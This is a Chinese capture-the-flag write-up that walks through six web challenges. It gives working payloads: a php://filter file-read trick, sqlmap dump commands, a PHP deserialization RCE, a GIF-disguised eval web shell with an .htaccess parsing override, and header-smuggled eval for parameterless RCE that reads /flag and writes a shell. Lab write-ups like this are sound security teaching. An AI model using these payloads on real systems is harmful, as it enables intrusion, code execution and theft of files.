游戏高手

这里看到提示,要分数达到100000分才有答案。
那么就要找哪里记录的分数。F12查看资源,发现有一个app_v2.js
的js文件很可疑,这里进去直接搜索100000,发现如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
//游戏结束
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}
/**********游戏主引擎*********/
|
这里用json送了一个gameScore给/api后台,看来就是gameScore记录的分数。为了简单获取答案,我直接修改gameScore的初始值即可。
由于js已经加载,在F12中的控制台中修改gameScore的值:

确认后,开游戏发下分数已经改变,这时候送死就能拿到答案:


include 0。0
这题实际上很简单,但是之前的思路一直是错的。
要知道php://filter/这类伪协议在运行的时候本身就会进行一次urldecode,同时在浏览器中输入也会进行一次urldecode,也就是decode两次。
所以不需要更换其他方法,base64直接urlencode两次就可以拿到flag。
payload:
1
|
php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=flag.php
|
得到flag
1
2
|
//PD9waHAgLy9mbGFnezgwOWYxOWJjLWY3MDYtNGYyYi1hMDEwLTg2MGE3YjU5MDBkNH0K
flag{809f19bc-f706-4f2b-a010-860a7b5900d4}
|
ez_sql
这里做题的时候直接sqlmap一把梭就直接出结果了。

1
|
python sqlmap.py -u "http://..." -dbs
|

1
|
python sqlmap.py -u "http://..." -D ctf --tables
|

1
|
python sqlmap.py -u "http://..." -D ctf -T here_is_flag --dump
|

Unserialize?

看下对象,发现是cmd私有成员的RCE(在对象摧毁时发生)。
注意两点即可:
- 由于是private对象,需要encode后输出;
- php里面字符串不能包含$,考虑其他绕过方式
其他没啥好注意的,基础反序列化题目。
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
class evil {
private $cmd = "c''at /th1s_1s_fffflllll4444aaaggggg";
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
$a = new evil;
echo urlencode(serialize($a));
?>
|
输出是:
1
|
O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A36%3A%22c%27%27at+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D
|
传入unser即可拿到flag

Upload again
这题是有点恶心的,直到我想到上传.htaccess
这题的验证全在后端,经过多次实验主要有两个:
- 上传之后的后缀名有检测。这里常见的phps,php4,php5,php3,phtml,PhP等等可执行的文件都试过了没有用
- 对上传之后的文件内容有检查:目前发现的就是检查是否含有php或者<?php
第二点好解决,使用下面内容然后改为.gif就可以绕过:
1
|
GIF89a<script language="pHp">@eval($_POST['shell']) </script>
|
对于第一点,经我测试只能使用.htaccess改变php解析方式才行:
1
|
AddType application/x-httpd-php .gif
|
将上述文件保存为.htaccess后上传,将.gif当错php脚本来解析。
这样就可以成功getshell!
R!!C!!E!!
看题就知道是RCE(废话)
进网页发现要扫描:

扫描过程就不说了,记得一定要j加-s 1.5不然buuctf扫不了。结果就是git泄露。
这里用githack直接下载文件,发现:

首先是bo0g1pop.php文件,这个是我们这题的主角:
1
2
3
4
5
6
7
|
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
|
看到/[^\W]+\((?R)?\)/
就明白是无参RCE。但是下面的闲置条件未免也太多了。
我们再看下start.sh,发现flag在根目录,名字就叫flag。

回到RCE,我们发现scandir没法用。但是我们迫切需要一个数组至少能让我储存路径(/flag)。
这里想了很久。最后发现getallheaders(),它可以返回一个数组,就是所有的请求头的内容。
这里,我们加入一个头zzz(这样可以排在最后,这是个铺垫),然后直接print_r试一试(var_dump也用不了):

成功获取!接下来就是和scandir一样的思路。先array_reverse()直接放到数组的第一个,然后用pos()获取内容!

接下来加上eval就是完全没限制的rce了。由于知道flag的位置了,这里简单点直接system('cat /flag');
即可拿到答案:

payload:
1
|
bo0g1pop.php?star=eval(pos(array_reverse(getallheaders())));
|
1
|
zzz: system('cat /flag');
|
当然由于没有限制,这里直接getshell也是可以的:
1
|
zzz: fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');
|


Week2-Web完结!